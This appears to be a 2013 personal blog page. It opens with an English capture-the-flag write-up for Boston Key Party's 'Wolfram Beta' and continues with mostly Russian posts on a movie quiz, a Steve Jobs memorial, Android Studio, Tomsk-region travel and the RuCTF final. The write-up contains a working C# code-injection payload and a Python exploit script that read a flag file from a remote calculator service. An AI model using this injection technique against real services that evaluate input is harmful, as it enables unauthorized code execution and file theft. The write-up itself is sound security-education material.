Monday, June 10, 2013

Boston Key Party CTF 2013 - Wolfram Beta writeup

We have a simple remote calculator on 54.218.12.97:34567, that listens number1, operation and number2.
Trying to send some values and symbols to check it.
If number1 and number2 values are not numbers, then calculator sends a message: Hey, numbers only. This is just a calculator.
But operation value may consist of any symbols. My try to inject "+123+"  in operation value was successfull.
Then I've understand, that calculator is used Mono.CSharp.Evaluator.Evaluate method. Here is the exception message.
Unhandled Exception: System.ArgumentException: The expression did not set a result    
at Mono.CSharp.Evaluator.Evaluate (System.String input) [0x00000] in :0     
at wolfram_beta.MainClass.ReplCalculator () [0x00000] in :0     
at wolfram_beta.MainClass.Main (System.String[] args) [0x00000] in :0   
[ERROR] FATAL UNHANDLED EXCEPTION: 
System.ArgumentException: The expression did not set a result    
at Mono.CSharp.Evaluator.Evaluate (System.String input) [0x00000] in :0     
at wolfram_beta.MainClass.ReplCalculator () [0x00000] in :0     
at wolfram_beta.MainClass.Main (System.String[] args) [0x00000] in :0

Trying to get files in current directory to find a "flag" file, using the next injection in operation value.
op = '==1; foreach (var dir in System.IO.Directory.GetFiles(System.IO.Directory.GetCurrentDirectory())) System.Console.WriteLine(dir); 31337+'
Awesome! Flag file is found :)
/home/wbeta/flag
Now just need to read it.
Here is full exploit code: 
import time
import socket
 
s = socket.socket()
s.connect(("54.218.12.97", 34567))
 
# receive calculator info
data = s.recv(1024)
print data
data = s.recv(1024)
print data
 
# set numbers and operation
n1 = '0'
n2 = '0'
op = '==1; System.Console.WriteLine(System.IO.File.ReadAllText("/home/wbeta/flag")); 31337+'
 
# send nums and op
s.send(n1 + '\n')
 
data = s.recv(1024)
print data 
s.send(op + '\n')
data = s.recv(1024)
print data 
s.send(n2 + '\n')
data = s.recv(1024)
print data
data = s.recv(1024)
 
# thinking...
while 'Done Thinking!' not in data:
 data = s.recv(1024)
 print data,
 
# receive result
data = s.recv(1024)
print data 

Done! Flag is received: at_least_its_not_a_python_jail
It's not a python jail :)

Boston Key Party CTF 2013 - Mystery writeup

A list of links, and code is given. Need to found from what movies each of these parts.
After some search, I've found all of them and got the list of movies. It's really good. :) Here it is:
The Social Network
Tron Legacy
Judge Dredd
The Girl with the Dragon Tattoo
Jurassic Park
Minority Report
Sneakers
Hackers
So a flag is wargames.

Friday, May 31, 2013

Памятник Стиву Джобсу в Санкт-Петербурге

В память о Стиве Джобсе в Санкт-Петербурге 9 января 2013 года был установлен памятник.
Памятник выполнен в виде iPhone, причём экран сенсорный и позволяет выбрать в меню биографию, и другую информацию о жизни Джобса и его компании. 
С обратной стороны расположен QR-код с адресом сайта памятника.
Чтобы попасть к памятнику нужно пройти через парадный вход во внутренний дворик дома по адресу Биржевая линия, дом 14, в котором находится технопарк СПб НИУ ИТМО. На вахте сообщить, что хотите посмотреть памятник.
 
Steve Jobs memorial in Saint-Petersburg, Russia.

Sunday, May 19, 2013

Andoid Studio

Поставил Andoid Studio – новую IDE от Google, после анонса на Google I/O 2013.
Andoid Studio построена на основе IntelliJ IDEA от JetBrains, но никаких проблем перехода с Eclipse не возникло.
Вполне можно юзать. 

Saturday, May 11, 2013

Вороновская мельница

На товики есть статья «Семь чудес Томской области».
Среди чудес есть Вороновская мельница — самое крупное деревянное сооружение Томской области. Построена в начале 20 века. Решили съездить и посмотреть на неё.
Находится мельница на окраине села Вороново, Кожевниковского района, Томской области.
Координаты:
Яндекс.Карты
Google Maps

Здание довольно неплохо сохранилось, хотя все окна выбиты. Внутри даже сохранилась часть механизмов.









P.S. По дороге к Вороновской мельнице можно заехать в город Руян. Про него я писал здесь.

Friday, May 10, 2013

Руян-город

Несколько лет назад прочитал где-то в интернете, что в Томской области собираются строить совершенно новый город – Руян. И вот недавно мы его посетили.
Находится город в 120 км от Томска, рядом с селом Уртам, Кожевниковский район. Если ехать по трассе Томск-Новосибирск из Томска, то не доезжая 1.5 км до села Уртам необходимо повернуть налево.
Координаты Руян-города:
Яндекс.Карты
Google Maps
Нам удалось найти путь к Руян-городу не сразу, так как указатель города стоит не на трассе, а немного дальше, уже после поворота. Хотя, судя по всему, раньше был указатель и на трассе.


Как видно дорога к городу лежит через поле, но мы, не зная куда поворачивать, свернули не туда и поехали через лес. Сбили с толку оранжевые ленточки на деревьях в лесу. Поехали по ним, но они прервались.
Чтобы добраться до города после указателя необходимо ехать по полю, вдоль леса, до тех пор пока не увидите синий указатель с надписью «бизнес-шаолинь». Он указывает въезд в Руян-город.
Хотя, поехав другой дорогой, нам открылись прекрасные виды окрестностей Руян-города.




Восхитившись красотой местной природы мы наконец пришли в город.
На площади развиваются флаги.



Хоть Руян и называется город, он больше похож на очень уютный лагерь/поселение, которое потихоньку строится. Видели как строят, что-то похожее на смотровую башню.
Это Руян-камень. Говорят его привезли из Германии с острова Рюген (Руян), в обмен на камень из Сибири.


В городе установлен памятник Юрию Гагарину.



Также установлена пушка и батут, на котором можно попрыгать. :)
Вид на площадь Руян-города.


В городе установлена табличка с надписью «Be nice or leave. Thank you». :)


Город основал предприниматель, поэтому призывает всех объединяться, как бы намекая, на реку Обь, на которой и стоит город.



Вот такое получилось путешествие в славный город Руян.

Monday, April 22, 2013

RuCTF 2013 Final

Съездили на финал RuCTF 2013.
В этот раз я не играл, а наблюдал и слушал доклады на конфе.
А игра была сложная... Больше половины команд не стянули ни одного флага.
Все мероприятия понравились. Больше всего понравились баттлы. Встретил кучу знакомых.

Ребята из СКБ Контур приглашали к себе в гости и на работу. Им требуются разаработчики. Гворят, что всех в Ебурге уже схантили, теперь хантят с других городов.
Компания понравилась. Ребята толковые. Много CTF-ников и ACM-щиков.

Могу сказать что RuCTF 2013 удался на славу. Организаторы HackerDom молодцы.

Игровой образ RuCTF 2013:
https://www.dropbox.com/s/r0af8cucyjsj4ef/RuCTF2013.ova

Иходники сервисов, системы проверки RuCTF 2013:
https://github.com/HackerDom/ructf2013-final